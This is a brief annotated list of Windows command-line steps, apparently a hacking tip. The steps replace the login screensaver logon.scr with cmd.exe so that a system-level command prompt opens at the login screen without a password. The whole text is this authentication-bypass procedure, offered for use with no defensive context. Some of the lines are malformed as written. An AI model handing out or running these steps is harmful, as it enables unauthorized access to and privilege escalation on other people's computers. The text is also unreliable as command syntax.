cd\windows\system32 *directs to the system32 dir
cd\windows\system32\mkdir temphack *creates the folder temphack
cd\windows\system32\copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
